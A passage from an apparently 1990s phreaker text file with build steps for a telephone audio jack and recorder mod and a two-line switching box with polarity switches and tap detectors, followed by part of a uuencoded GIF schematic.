       the mic.  This is necessary as the audio jack always drowns-out the mic,
       even when it is doing something such as playing "UN-noise" while a tape
       rewinds.  This also serves as a mute switch.)

--[out jack]-------------------------------------------------------------------

12. Connect U2 in parallel with the speaker.

(Note: Out jack.)


--[optional digital recorder]-------------------------------------------------

13. Desolder mic from Hallmark card (IC1), it will not be used
14. Connect desoldered mic wires to the base and tip of U2 in parallel
    (isolated)
15. Desolder speaker from IC1, it will not be used
16. Desolder one speaker wire, it will not be used
17. Connect the other speaker wire to R1
18. Connect other side of R1 to the mic pad that has the original (v+) wire
    and R2 connect to it
19. Desolder "play switch" paying attention to how it is connected, it sucks
20. Connect SW2 in it's place
21. Connect v- (black wire) of 6v power source to SW2
22. Connect v+ to IC1

(Note: You should now be able to record from the mic and jack, and be able to
       play it back into the phone.)


[part 2: c0nstructi0n 0f p0w-paq]

Teq:
----
8 DPDT slide switch                           275-403    2/$1.39  SW1, SW2,
                                                                  SW3, SW6,
                                                                  SW7, SW8,
                                                                  SW9, SW12
2 SPST slide switch                           275-401    2/$1.19  SW4, SW10
2 DPST slide switch (substitute with 2 DPDT)  275-403    2/$1.39  SW5, SW11
2 Dual polarity LED (phreakz discretion- 2                        LED1, LED3
                     LEDs in parallel, or a
                     2 pin Dual LED package)
6 6P4C Modular Jack (try DigiKey, www.digikey.com)


Parasitic Tap Detectors:
------------------------
2 15v Zener Diode      276-564   2/$0.99  D2, D4
2 Mini Red LED         276-026   2/$0.99  LED2, LED4
2 Bridge Rectifier     276-1161a 1/$0.99  D1, D3

(Note: I substituted the 1N914/4148 Silicon Diode for the Zener and it seems to
       work fine, 276-1122, 10/$1.19)


  As you may of noticed, the Parasitic Tap Detectors are taken straight from
the article Tap Alert in 2600 vol 13 iss 1, credit is given to No Comment and
Crash Test Idiot.

  Now, what all this is.  You have two primary inputs, and one master input in
case you have a single connector with two lines on it.  There are two
"outputs", whose function is up to you (these are optional).  Now you are left
with one master output, whose function should be obvious.

  SW1 & SW7 change between the "outer" and "inner" wires, in other words
Red/Green vs. Black/Yellow.  SW2 & SW8 reverse polarity of the line (one is
optional).  SW3 & SW9 serve as polarity detectors, lighting one color for a
certain polarity and another color for the other polarity (one is optional).
SW4 & SW10 make use of the tap detectors.  Most of the time you will not be
using the tap detectors as they can have problems with the other devices on the
line, experiment.  SW5 & SW11 are primary line power switches, make the line go
off or on.  SW6 & SW12 are hold switches for each line, when they are both "off
hold" you may conference the two lines.

  The polarity changers are a must - often times store-bought telephone cables
reverse voltage, and even your wall jack might have non-uniform polarities.  To
use both lines at once, the polarity for each line must be the same, this can
be achieved by throwing just one switch if they are reversed (it's an either/or
state).

  If you find any errors or corrections you would like to make, or you just
need a shoulder to cry on, my email is listed above.  Any upd8s can be found at
http://www.geocities.com/SiliconValley/Heights/1334, thanks for playing.


[schematix]

  The top of the diagram has the modifications to be made to the phone unit
itself, the bottom to the modular device.

begin 644 phonesm1.gif
M1TE&.#=A4@-9!O<       $! 0(" @,# P0$! 4%!08&!@<'!P@(" D)"0H*z
M"@L+"PP,# T-#0X.#@\/#Q 0$!$1$1(2$A,3$Q04%!45%186%A<7%Q@8&!D9y
M&1H:&AL;&QP<'!T='1X>'A\?'R @("$A(2(B(B,C(R0D)"4E)28F)B<G)R@Hx
M*"DI*2HJ*BLK*RPL+"TM+2XN+B\O+S P,#$Q,3(R,C,S,S0T-#4U-38V-C<Ww
M-S@X.#DY.3HZ.CL[.SP\/#T]/3X^/C\_/T! 0$%!04)"0D-#0T1$1$5%149&v
M1D='1TA(2$E)24I*2DM+2TQ,3$U-34Y.3D]/3U!04%%145)24E-34U145%55u
M55965E=75UA86%E965I:6EM;6UQ<7%U=75Y>7E]?7V!@8&%A86)B8F-C8V1Dt
M9&5E969F9F=G9VAH:&EI:6IJ:FMK:VQL;&UM;6YN;F]O;W!P<'%Q<7)R<G-Ss
M<W1T='5U=79V=G=W=WAX>'EY>7IZ>GM[>WQ\?'U]?7Y^?G]_?X" @(&!@8*"r
M@H.#@X2$A(6%A8:&AH>'AXB(B(F)B8J*BHN+BXR,C(V-C8Z.CH^/CY"0D)&1q
MD9*2DI.3DY24E)65E9:6EI>7EYB8F)F9F9J:FIN;FYR<G)V=G9Z>GI^?GZ"@p
MH*&AH:*BHJ.CHZ2DI*6EI::FIJ>GIZBHJ*FIJ:JJJJNKJZRLK*VMK:ZNKJ^Oo
MK["PL+&QL;*RLK.SL[2TM+6UM;:VMK>WM[BXN+FYN;JZNKN[N[R\O+V]O;Z^n
MOK^_O\# P,'!P<+"PL/#P\3$Q,7%Q<;&QL?'Q\C(R,G)R<K*RLO+R\S,S,W-m
MS<[.SL_/S]#0T-'1T=+2TM/3T]34U-75U=;6UM?7U]C8V-G9V=K:VMO;V]S<l
MW-W=W=[>WM_?W^#@X.'AX>+BXN/CX^3DY.7EY>;FYN?GY^CHZ.GIZ>KJZNOKk
MZ^SL[.WM[>[N[N_O[_#P\/'Q\?+R\O/S\_3T]/7U]?;V]O?W]_CX^/GY^?KZj
M^OO[^_S\_/W]_?[^_O___RP     4@-9!@<(_P !"!Q(L*#!@P@3*ES(L*'#i
MAQ C2IQ(L:+%BQ@S:MS(L:/'CR!#BAQ)LJ3)DRA3JES)LJ7+ES!CRIQ)LZ;-h
MFSASZMS)LZ?/GT"#"AU*M*C1HTB3*EW*M*G3IU"C2@7PKZK5JUBS:MW*M:O7g
MKV##BAU+MJS9LVC3JEW+MJW;MW#CRIU+MZ[=NWCSZMV;%B'?OX #"QY,N+#Af
MPX@3*U[,N+%CKGX?2YY,N;+ERY@S:][,N3/D@YY#BQY-NK3ITZA3J\X:>;7Ke
MU[!CRYY-NW;FUK9SZ][-N[?OWZYQ Q].O+CQX\B3EQ6NO+GSY]"C2]?,?+KUd
MZ]BS:]].MCKW[^##B_\?O]L[^?/HTZM?[]@\^_?PX\N??]8]_?OX\^LG;W^_c
M__\ !DA<?P(6:."!"))&8((,-NC@@X8M".&$%%9HH5H27JCAAAQJF&&'((8Hb
M8H ?CFCBB2BJ5V**++;HXG0KOBCCC#3Z%F.-..:H8VHW[NCCCT!:UF.01!9Ia
MY&!#'JGDDDS"E6234$8IY5=/3FGEE5%6B>667 :I99=@ACGCEV*6:>:(9)ZIz
MYIH5ILGFFW >Z&:<=-:9WYQVYJGG>GCNZ>>?W_4)Z*"$1B=HH8@F6MRABC;Jy
M:&Z,/BKII*M%2NFEF(9F:::<=EK9IIZ&*FIBH(YJZJE_E8KJJJS.I6JKL,;_x
MVA=HLM9J*V.OWJKKKE;ERNNOM?H*[+"L"DOLL:,:B^RRG"K+[+.3.GO?!VI1w
M&Y:U;WV@;;700BLM?=B>%:Y7X[I5+EGG=@OLM_.E>YF[ZL;;%;OQE:MMN/?^v
MLVU5^6*U[;[]7A7PO_OR&[!5\.J+K[4'*TQMP0YC>R_$\D9+JX[C2NPOPP+[u
M:[#''?.+L,9994QNR2%O+#+$#Z=<L<4&^8@OR")K-3/"-.L+\LT1FWRRSC[Gt
MW#/!";^<*+WP\5SSTCDKK3/.(=_L=-$/M^PRU%C;3+'1C2+]7M!!"\UPV$^7s
M+?7(0FO]\=5,,VUUVUPKZO77&R\\\<@'_XLWRP7W_^LWP08WC'+9/>_--\!Wr
MQRWIW.P5C9;CBD?NY,5H7@M7XI)GCA?CV%&E^>>54BZBYZ"7;AKGUY%N^NJ:q
MBAZBZJS'3IWKE)T+N62VVPP98EN;*WN\J.L^^-Y/3RPQYA$G[W#@1"._E>"$p
M9XT5[);+=7M9U_]N:_ "8VZ\VTZ;#3[A8-<,><;>.U\5]6!E+Y;[[VO?+?=Io
MB]_T\&_C/#74'+<O?/WKP][WN@<OHG6,8@.K&OH0*+]GT4]_'NL?5^P%P?]%n
MCX)CH:#)TL6^KZ2+9,\#(<"P=CS^*0U^C_K;V,YGM\ 5SG $;-\ MW8W!2XOm
M3 ]<603AEK;$??!J&(S?#O\/N)4._DQL$]P9_Y1HP@'RT%3[N]8)28C$)UI0l
M82X;H16ME,/J)9&)/Y1>$+W8%[/DCFUB7)H$S1>UKJ PA4",'PCMY[8X^H^(k
MT2O>%KE(.]$LC&TD^V,4T>A&MABQD%3<8M\224>>3;&(H1KDS^9(R2P"<'AZj
MS&,%R]3%]^4M?6-C'@'MUK?>:0UZ8SFD&QN&2OV5TH8NC&4"63:O2-K1@VI,i
MV2/;YJY'KE%E;RQ2)YNCRKD$4URU])0D5[E(1I+OEI@DI15_V:5A*J>8<5%?h
M7>"%344M\WEM9"39YE@R$89S;>3DDC63T\W@B IY3CRE+&=YN,/)\'@K%&4Lg
M-7G_I74BIYV5:J"N_'D<@*K&H )M5A\YA%#4-#2AER*H<1YZ.H@&:Z$;HFAIf
M-&I11TET43;J:*P^.J"0BK15)!T.1T>STI,6*J7 :2DX/^728F'40X]S7BN)e
M9[CF'5,K,JWIGV#Z&XVFTW%G9.,>ER-45!'5I,A,(RX'MTM#-O543^V-4:'Yd
MQ;I5=2U!O6J>LDJ7A"AFJU(]8B:_BB%93:4@;")K6V)61+H&!JV\O*-2]\K/c
M^K@U-F$%DES10I!9"215:3FJ7C.YUY].[Z^P">R/!MN=PTY.LKL3ETZUV5,%b
MUI"S91PI8.-Z4]E8MBZG12U443K:-5&62IC]C%UBBQG:_^[)MJ0BK5UMD]J]a
M]/8MN)U7:5T%V=<$ET:OA21A8GO<JQ06J+^=;7'=Z=KA.O0PF&UN ,,27>**z
M-K*ZA6MMM L6R3:WN\F\"WGAM%[!M)=%R>W5>[T2V.-2%+UNF:^:],L7_IHHy
MOO_P;WJM*MVVJO:[Q@WO<\'[F*#B5J:V%;"8)+RYAO33NIJB#(0+#-8#LW=Sx
MK1UPEC#<&0J7E\#>G6M9XW3>$&=V2I0U,7<[G&+GAC8N,@:1=G.\8OI>>+<\w
MJBV-Y<(^]*J2N6\B+X]KK%P8DY@Z4+ZQD^H:W6)F-Z[]=7&3I237)<^8L/CUv
M*W0'PAHJ$=FUB&6PB*%$5B^+!?^A7^H@D+%IWOT"QLU3]C$?@;Q1SQA4(2JFu
M\H(#?.(\<_*N6@;JC\5[&CR_.95F13%K+D9G')M)OX[.KYGWS.B*9IB["Y'Tt
M],Q::4.#B;^9#O2:F_345'\9MH >\J1CO6E-XW"YB2XSIP>MH%[#.M12GG5's
M9+TE ;N:V(K>-9D]+9JEO)K0!E:GL0'+$"P1]=C/%C2MQ:QMN'93=2O%MH#"r
MS&'J[O?)DQ%WML<<Z6@+6[S?MK&[3SU?=7/[3#"U=ZT_LVW"\IO1I>X5LNF=q
MY@17E\\E/NBO$6X6(U(NX-L-=HB<F$Y#*CG7.$1W@Q5>WDX/?'V\AK:>!3YOp
M$57<L=#_S8N^F7IPC_N9XZ ^,[N3/?*(^QM%)T=M<%?>'04ON]GF=B^5MTQTo
MD=_\1(I5;X0Q+IB=(HBD/"\TKB?]XJK;_-XC4A_*8RYS@]\E7Z"LN#P]BS@5n
M@A8Z'XWZNN^LZZ(_MNU'-]$OMPYI2ZN9+LT<IP?-N40=,K9S&L?5W85N:[ACm
MW>3B3%58U;[VRX5S[E/-9=_1N51B!GXQC-\WD@K_=HF#Z&]#N^N&!V_,#0(-l
M;3*,9ATK_YRTDY[P)2>YYV\;[K?^_.LC;!GZI(C/9DJ>.Z[W>H3N>\APQY[+k
M%#9^:$RO>TQ>D9K/9+US@A]T[#9<\]>/.Q]S>WS,T+*49DL8_RTU6<E 7?ZLj
M3'=O.\EM],,_VMH\5KYG/"M.4T;0[*-L(?#/SWWAD^K(Z_=QV,=F7B9_ID)]i
MU7=6/Q=R->=^ \@D[ =[VB<J"!A0&A:!-#>!#V@@]F([=(>!$NB G5*!,)> h
M+/=^#<)*>15^L-1Q--5]"L5PMY%^?0:#AH=WW[%+CB0]LB4D AB#+K<9F;>!g
MS*:!;N=)].="3A=#9+="97=VG*&#NE1Y(&A]-H@I)!ADK]=S4B= D[=ZY,)Wf
MC;56J"&%5%0T58@8!I@L_*>&6WA=5]A^Z/)X8(A(O_=W6D1WO&-)8*@W=95Pe
M<4@I6=AHIO6#5V=&S!=]>Z=ZBJB'BO]AAI)W+FF(>8:(A6UHA<%A$L,G@\[5d
M1PZ'@7YS>N'#3##4AZOA,Z@XA9VH7JP8B# 3A%%F@G:W>1E8B[)WB_)%.OB5c
MB/F#5$QT/]+G??#D@3$$-Y/(=1YFA/0QA&5UB1'RAL U=;;8>7!79$>(1:Z$b
M>I4W?DDUBH929SM7B>_!C,W(B9=!CM<8C2%X@[BH:W)F=:[D>[TG?LHSC)_Da
MB./E8(<XB\H8'^CH*L[XC!;8BHBV:OMH8^]HD&,B?^'HBNA19+"8C^9XCK+(z
MCP5WC0 (C]2X(\=H= TY>UHUB>9AC1L)*0%9&/\H;P3)=@IY9 IYD#E2A;WUy
MD?W(6Z<%@@G_69)R").F=9(H68+E=I'3R)/XY9)&$H$DF8PBR%OIJ)-7EY-.x
M.1LIE9([R619UI*[4WP-2"1A!I56>8*KI9);V7E>&974-I%"1HAZX5]:>814w
M890:"2[Q1$]+V'!EV8X6F7UA:99X*6\.]Y*1Y9,_J98J-YCL*)8!9&6 *1]Gv
MHU30-U>PTY9*J9=:M9B*^9=CV9-H29&$"6*&V9?4^);(*%\",C.F]W=$YCEPu
MV6,@21N*:9F2&9=G&9&<08[KE7RT.6H,*%P@QX%XE#7XV(/"11)@97L.0815t
MB9A#R9.!N9F<Z6MK&9+)F1\S!(P5-IW862"Q*9O,.9T=V6R"*9! _W>5>^D?s
M8Z2(.J><ZID@VYF.\:9H5-EQSOF<G^9;,>6;^'-)D+F<\0F'3=F7 $4]JED>r
MX2F>@$B>E5F:@L-*]H<A[=F=VBF@ 7J8P[F !#J?]%F;+%F>P@1QH,D@EB62q
MN<F%)HFA&3J#&YJ@2H*3%.H@WPFA)&J3)GJB/EB0'.HC(LF7,E)GNC%8]H9Jp
M]]FA4M:?TY>74EF@;HBB-JJBD]52NN@E1JJ9(UJ?+[B./2I8BP>C+<*C)3JEo
M5"H9TU94.'IE1$I,43J;N]F9[6&@O%&FBQ)A;LI.9]J<7CJ>:\JFY1&3<7HGn
M<VI<2"IXC6%B>YJ9+_*B,-:GF3BC)19__?_'I'IJ)UPJHW5:@YA8J6WJ)8,Zm
MCH@:.HKZI58JC8XZIA]F:A(YJ45X9TN6J=SYJ&A&JJ[YI^GV7H;*FJ&*J7;Fl
MJD?:J0JR8XZFJO_)D;X*'I%:JFGZJK.5:L':HK9Z:[@JI<4JD9=5HS=ZE,G:k
M.9MZ4+ JA+=76;.*H)>Z?<5VK3R2K7[&<+KZF=]Z8=8FK@Y%KJ?CKBIGG,<Ij
M;5S$KHT&KV+U=-6*=O;ZKN>:KQFUKX;2KQN%KP#[']U:(\/ZJO^J&\%YL,W(i
MK.K8I<^:&'/Y67@C2DWHA&%D///(/& 73S<$L?4AL-;:K&BZK;B35MB(AVLDh
MAL#)AS%+3F)'LKS_>6D$NZL-JQ<TBT?YXY@T,T9?)4&01T@V2W6W.K&26K$6g
MR[)6\[.C%+155(?*PU4/JST)RY4YRU(&6RT+VD9OXT.\]+7Y5T5D<T%'*YQ8f
MAK)TRK1[F$=G\[/EAYIH.U,QVTCZ";%9>R0+FZNF2A@]2T(O>[=T!+==54>0e
MF+:]":E;"YX[BQ>@5S@#PU-#DT\MNT"8R[$^M4"*2YIZTK?.JK+*<;6=2ZC)d
M<J%_RQND6[J+.8*HZ[:LZQ\F2R')"F"Q^W+%\KJB>[MRDKL]VK6\>[)8I;M[c
M&[SI4;Q&HD(UF:BI:[SX,;OCX8V-E[+(Z[P/>28>^X642:R[:[V]2R>/_XF"b
M2]N]WFL@T!L>#3J];4N^Y:N=X"MJ#-N\[7L?YPL@M0N\\YLZKON[CYN_*K*_a
M%,N^_HNP #R^U3O X<%CQW0[CEB7=GBE_"N_"*RIC\@M9)0M%IRG$0R[$[R,z
MB[&Z7[<=]]N_'2P>.=:!^-2R(XLV95=.H72/215"W;-/RU-/92N$Q%N_)6RIy
MA5$^J*=W*ERWQ9-S>2NTY;0RC1F,Z+?! KS#'MRT:=5+,DNUO5B*1KM$9YNYx
M+8R[ 7S 3BR\AS%(4DRX5!Q]X4,U6)3%19R^&\?$7OS%UG'"4LN#4L5 JIC$w
M-+2(07R>9GS%8)K#<$PB'UPW/77#'_.Q&7M#RO_[2NG[LCYTL8P,PK3*O6\<v
MR -;P<8$(2,LP<RBP],:&'H(A>,&R*;CR9\L-Z0,.J9\RD>3RIJSRJR,*)O,u
MP=YRJ(_AP*3HQV'\L)(,EI0,RS@"S+$,N&UQMFN!C[P<J*ZL.,(\S(.!<JN+t
MS#@(J%W<S(6ZKI.!PM(TPRE\R A4-<QTCZNTPN!<C&G\S7:\Q-4L.=;LS$TWs
MPW0<2&$CCVOSP,YTQ&I$M()K0E.<I.O,S.I4._D7R65\M]++@\:\@H'TBT,\r
ME]1LP.V,(A'MSJ!,2$DLQ'U,QSUT2:G(5WBH2 _]R\?"OL57R6TBT'Q80N8Sq
MSW>,QI-70&(8TZI(M3S_[+>TS(:Z>)<!=I,3/9#+FUCVV$+@]X2PE$!]%;6)p
MG$2S-+)+S=1YH\QNW--/5W0Z+=7^^=.C0;J]K-'H&K\W'2J8"9-A+5CBV!FBo
M[+5LC,$A[=5-;!PQG!G0$T8U[9>K:M64BM4!'=77\=8U!+)^33Q%3=25:X=\n
MK,1!668/NI[!7-9Y_<_107%BJXU"[,@%389>!,EI[9EJNYQ:NJ5#MM4N,LMMm
M71S=R(AG2%6WU#\,#$"@;;K9N9HX^MF)C,M:J]?3(;=T.[502\:&FT%#])M=l
MO8JN;=?0>71LQ67+_!RX';YCJT46I,9"!-Q^AZ<"]YJK.B9@Y;&J74W)G8-Jk
M_V79S[W1%YR6B-V%RHI<LGU.V.S8T0O/*^BRE<W5<WP;D8F!OV72#R)_'7AJj
MW0T>06VY3^A5AKR$V5N;JME0(4K<:JJ7A5VOMCTL+XK?M,O8X?K@$$[AZ.V0i
MZPW1R+*&PH3A_=3? P7BN[':*B/9C;J4$R;BM^+A);Y92&7'!TV+K;GB%KXNh
M)'Z*"!W=C0C5-2ZQ'#[2.:X:2;=8.[C"H*KB0"[20J[AKU'DD=?C1YVB2L[?g
M-_XK+O[BO6/B?9C9]NGD#L[>. [F.DY^/+Z#K8V<YMVJ8H[E0YX:4/[=@SOEf
M0KF];![DQ)+EN1&Y+S1!PPC/M'W8OGSG3)[G;PY?A__.:BR^/8DNT8V^)*(Me
MX2_UZ/]%Z7R[Z,%BZ:.CZ1]^Y7#NY3K&Z:%.YLCMZ:>1YONAYY,EZE!JZF:=d
MMXA.ZIXMZVR&Z7"-1LI;Z;2>(JINXVV^? <T?H;MHJS.4,6^ZJX.U]GK>[D]c
MZC^N([V^Y&PMZ7E15<R=4<>.4[L.@;;N??-=SR<2[=">[1S9[>_BPLY'N_):b
M;2M9Y:Y=F-O>[@T2Z0K^O&)ZK [:5F'Z[,M5[U_^Z\-+T5RH4:)Y<VQ)[OH^a
MX<E.@?>>8O?5V:%)XWC-DOX>G0L/U@UOD0_UI-N+:0C/;14/[P!_@) ]0V"Wz
M=TF(Y$NJM!!O<PC.V9,YZ)7_6DQ\\]?)@^I .>TA+Q]4 ;.]"-/:B_,Z:N<My
M'YDRGYV7-=KG3>78A#C6&<0B;.Z9TO.)1$T%1(=T+O*<-_3*^6?7#5Q/1L(Ex
MU_2A--/R'<=2CX6-%(KHPHMS79,3NO0?>E[MMG!*'_--G\;??A[T_E?PY-%(w
MJ$.[3>57&( PK]@?"IEU7Z%B?_1Y[X?WS!]I'U$?C>)1+HJG1]WN_IZ'#Z%Pv
M"FSTU6_>BO@5Y,/'._F"B+>;!/7N#30J'=Q$_ZN)S?5(7[*@_V^+;_&_*DE_u
ME,"H'RV@I]WZ5$C><_;_SN^)CYW6O>:*?_OLEON:_9^Y7O)"G_,V??=WBOP$t
M;",9_W'TR0_;\KGN%J'FHWSQ53KQLIOQQ[_TL]]?[([[T"_HM+_](T_>Z)_Js
MZJ_[<C_6_>[\SU\J  '@WT""!0<*-)A0X4*&#1T^A!A1XD2*%!%6Q)A18T0 r
M'3UVW!A2I,&+&DN.1)E2Y<J-)UF^A.D2ID*9_VK27'AS9L.//3T^].ES)T.=q
M!X<>19I48E&E30L&9>K4I,BH4JU>Q5@5JU*M+&5V_;HU)]2J9+NJ9'I6[%JVp
M:MFFA/J6ZERY=>T^O>OPP]Y_'_KN!3PP\&# ?DEN=7DV<5Z;/2T&Q9J6\>2Uo
M;BD_%GJ9(UW-G9-:MLI7,$'#H_N21FV:(.B1)]6Z]IS5<?]DH+%M[V1]FR9Dn
MW3A#YNX=?'7LTJ=5&S=<O'1QFV)+NGTNW+9DZ=6S6F_)VSIPX-BGVQ9=4/EHm
MYLL/(QY^W:CWR]39O\\)'_/L[9SEWV]^.[#@PJ3]*M\/+^?64Z\[_%9R[T#Xl
M# PN+NRX4_ ^!H\J[[C4QC-.0/18$VC"".V+[\/W/+S-P?I^$W%$XC!D3C7Sk
M+"11MM]B3+&B!&N4CD;/3*RNJ!L3TA%!LX8DLD@CCR22N+]$Z\\_\_8+K[$Aj
MD8(0Q^R0Y#%$*W/<\BGM>G3HQ_/:JS'([[I$D\"6PDRSP3:S%,['VGCJS,RZi
M[-RQ330-U E//1%\\TLNZ6234#+_4_13LT3_E(O!FQ9E%$0KX;0+R4(-U9(Rh
M2-%C=--(.46I)D\_56]/0>\JZU*B5)UL5*L *(S) /DS",HH%2(LO%FI)!51g
M0('L5=% ,VMU,TPSW0U+99<]]4"!6%SH5@RC?;%"IUP-EBNO@,VVV#0IO=/8f
M55GE]E 1GQ7/0M2L;;'6=)%3]RALNY7W)=CHS6M>YYH-%R(YR1U3TS(SA#>Ae
MY PFF%IW_TN85WPEC$G#AQL=EC[&4CW6MW'-_?#9)@D^N&&1J3V8X7:'TG?Bd
M;2-64^7**OZ(XXP#1K9<@7UME\5=XW4W79-'QLUE%6="*&6A\S.5V(O%K=EFc
MC6\^5^3Q_Z9-K:$H_UONY*"/?A!EI+FF[5M^*?878)J=7AK1CY>,5=:L;T7Xb
MXQ>O!?M$W(P6&N]7QWX+XS7M[CA2O>LNE7#\!K^6[[:8S@CQPB-T_%7#XYS<a
M69A_@MKLB2*W:.!.*^^-<]#_3MKB?!E_W$U?/Q_]S-;9$UU>Q5\N&T7 (1?\z
M]=ABUWWSRT'*?.;.;U>0]\]ZKQ/YKL56^O3:21]T*> ;GUY;UI7W%GO*F3<=y
M5=1M7-[?HIG%''.'_S2^]_2U;[K,V0=\?BKBFQ;U:8FW1I_]M/77;7U[WP>5x
MYI82/N%]+3WW0R#+\L>_2C&P?[^+G=_D!R8!&M" __+:]1RXN/\-[@Z",MO8w
M!*,70OM=L(*ARET'.:A"87$O9L&;F)'(=2^BD ]+*60A8FRX0Q[VT(<_!&(/v
M/PA#T&'P@"U#F[UPF$,F-E%3  R;[HS8LBDJ4$_^<V(6^0<NLDEQAF<#X\H6u
MJ$4REO$J7.R;\AY5PCZ=[XIFA&,<J03%,V*O>HVA7V+\A$6BR=&/?T0+'26Gt
M/9#<,8QX1.3Q- A(1C92>LWSGO[$Y"6I\-&*CL1D)H$DR$H&9V>J:^ B-3E*s
M3*)QA6S)U=LRI+6_.(D_?&'E*T_3-O' LFWM<IPEE4A*7I:2DW1#9;5Z-DQ<r
M"=,_5IO;U)YD&EPZ;XR]A*8?34F[M4#_JV#$C!MY$,:0:4W-9\PLX2G?%$URq
MRG&:\ OFPF:Y36["*Y;%9"=R<E;  (ZSG/<DXSGK64TFK=-:5M/F.TGF)&E=p
MC9Y1?",^%=I$?2)T*Q7Z&=7:Z4^*L"N>JSQH'46Y4(YN\9=-,9I!=95,@-(*o
M9*PT:,-2"C0+BO-;'86I QNJT6JRK6IO^Z0L7913G]E*I 'B:2Z7&%.B(F^Fn
M@\RB4#=:5*96[JB=U*)2G]E4JD[NJ<"L*OB6FE6NQO"CUNOJ +<:5K+VZJH@m
M+>OWNJ3+M+95=I ,I5M)^-+B?56N3#TK6.^:Q+76-:][C>E?W0C8(PKT<,XRl
M"V$!*]AZ*59B_ZI<DE^#.%G*5M:RW7,LX1B;P<Q^C6J&W9Y\BM39MFX6?YGUk
M6*S B3L)C9:T9#5M'TE;$HNR5K2N?6U78WM)Q=+68* =X8AP*QW@9@1NNCENj
M18FZVUUVUK?8G,S5DB.WP; U3$G"CD134ES&</>B"V6N&%'+'ED1$T#6O6YBi
ML_LNEGCW+NYE;T?#*Z3+UM>^]\4O^<@[W6&VZ /H3:]=ZP*@M?&45K/"6JW*h
MNZNUD<R6D:WE2*6E4YM&=L(PG6]NT4+>5OZSF9'!+%4$/&#H8A29-PV9B75Eg
M4IX=A[_,U*XU6XEB%P=VQ!H^;742[.%P?N;&FWRA=_Y9M18G+,4IUO_FA6C)f
MS0NO:\FJ=25!@1HM&\,5QVD4\C5=U..W_IC+PAFRA5#:,V.NZUW>A9(ZX^E-e
M(I>8I=',\)4E!>;X@JR6HYI2<SD<WR/KA:1;7BV@BZRSFWZ3Q5KN)I4Q[&4Yd
M;SB[;GNEA WCJ>'"Y3[E07!R>ZI*H$(:PA5F\I09W.D$SYC4TRWP<AG=:!1Vc
M*K^OAG6LW6S<[KX%OHV,,ZL;-U0?Y_E7\+FU@C5]E0:'1M56UC5-$YHX7SLZb
MV57-];-]-U:B8??7TL;KJK&=NCWMK=F6WG:VD1WNP=*5V63A+;G!JVUUJW5+a
M>$9WNMM]SVC/^\LXPM:X6V-O^;*;WW/M-C7_<_QO<M:;X$@,.#H'?O!>&OS@z
M &ZUPF7+\(+[F^)'M*?$Y7WQ3#J<X+$&^9%<JF>.D]+C)7<BGB".\G=;G.5Ey
M5/G+3>YRF2>UW#4'Y,EQ_I)@'[:Q.\<US8$^$2C;%-79BOG0&:ESI9?4Q=JEx
M=L2;;DZA3QTB<R-RSR'V<ZO#D>E=[Z]>D'YSL*>\ZF57])NU+EJRHSV'7W<[w
MUG$U=JZ[W>SZMCO/^0SUJ6X\[QN$.]B+7N!B+WOA?^]@X!$_J9"'?/&:/?OCv
M,QXXR7--\96G?-0PG[?(;WY2GO.\5_$>>K"M/'ZD[];E4;\@T*\>Z9UW??%:u
M'WM2J9[V\_/Y[6L/_WO=LWYUO1<<[X'O'=//:?CH$_[Q*:AYY0^Q^2XK_@F?t
M+]D@3_]AT>>)M:V_H.1OWW69;Y_W<]1]\2?O]^$O?^C(GWXBYA[][)_.^N'Os
M3/#?>_YUDO_]^\7\]^N_/?GWOY%S/_L+P(L!P +<)\O)* 1$E0-D0*2J/[YZr
M0 ,<O0G<.OXC0 ML"P?40$7"0 GLP$;AP!#DK @\)!+<P I$0=R[P/Y;P3,:q
MP1<4+\CY-AGLFQBT07#[P!Q\(A7DP1*9O1]L%1P40NBQK2(<0A]$PA;:P244p
M025TPNPQP2A,P1"CPN\[PBN\02C4POV;PBZ$02X$0P%LP3'4(3$TPP0<P/\To
M]#8K9$/ZR\(W/+?JD\/V*\,ZY HBQ,/5:#R0V\-*TL,_%$1""L1!-$0I*L1#n
M5$2G2D0Y-+!%/!K;JT.?$C0FBS!9*CJVP;1W>C+_&@Q,'#9(M)%&C$*^X\3/m
M*K0Z,[&'P+2]2T51#!52=$)39,55M$6)"K.T2S+_NA!8#"0T]$6B4\4WNZ9$l
MRSIL$BAK&K.U"T8I<<-F'(D8N[I*Q#I<=#-4U++?(D9H! I97$)KO+HI>T4[k
MJ[.3^:PTFRAF]$5)G$0^:S/SJK%*5*EW/"9J?+IQY,91!,9\]#/I*CR=\BF<j
M(K"".D7("LA++#)^K*%]5,B&9!]V=,B(##Z&E,C_BAP=B+3(C&0\BM3(CHQ$i
M;_3(D&P0D!3)DMP=DC3)E.S!9U3)EH0^E'3)F*Q".I3)FA0]EK3)G'0UCM3)h
MGFPMGO3)H"0^F!3*HOQ%G#3*I#P<HE3*II0-H'3*J$Q"I)3*JE0_J+3*K*P,g
MIM3*KCP(KO1*K<3(L"1+C@#+LI3*L43+M4P6JF3+MP1$K(3+N9P1N:3+N]1'f
MM\3+O:0OO>3+OQ0QNP3,P22)LR1,F53+P[3*Q%3,M#3,QE1)QH3,II3,R4S*e
MRK3,HL3,S S*S>3,GO3,S\S)T!3-FB3-THS)TT3-EE3-U4S)UG3-DH3-V S)d
MV:3-CK3-V\S(W-3-BN3-_]Z,R-\$SH84SN'DQ^(T3FY$SN1LQN5DSG5\S.>$c
M3L&4SJATSNI<Q.O$SD/4SNT<Q.[TSC\$S_#$P_$D3SDTS_-DP_143S-DS_8$b
MP_>$3RV4S_FDPOJT3R?$S_Q$POWD3R'TS__DP0 54!LDT )]P0-%4!14T 4-a
MP09U4 V$T B=P FE4 :TT LMP S54/_CT Z]OP\%4?@3T1%-OQ(U4?%#T13=z
MOA5ET>EST1=MOAB5T>.CT1H%OAO%4=W3T1VEO1[U4=<#TB!%O2$ETM STB/=y
MO"15TLICTB9]O">%4L23TBG-NRJU4K?#TBPMNRWETJ[STB^=NC 54Z4CTS(%x
MNO\S15.<4],UE;DV=5.6@],X+;DYI=.+L],[9;@\U=./B\X^]3X^!51[$]1!w
M;;="-51R0]1$W;9%951I<]1'3;9(E516H]1*E;-+Q50<T]1-S:U.]=39^M-0v
M_=%1)54A-=53+=)4554D9=567=)7A54GE=59C=):M54JQ=5<O=)=Y54M]=5?u
M[=)@%58P)=9B'=-C158S5=9E3=-F=58VA=9H?=-II58YM=9KK=-LU58\Y=9Nt
MW=-O!5<_I<YQ]5!Q-5="1==T/=1U95=%===W;=1XE5=(I==ZG=1[Q5=+U==]s
MS=1^]5=.!=B _=2!)5A1+=>#?3Y05=B&,]B&[:V'A=C_Q9+8B;TKAK78CJO8r
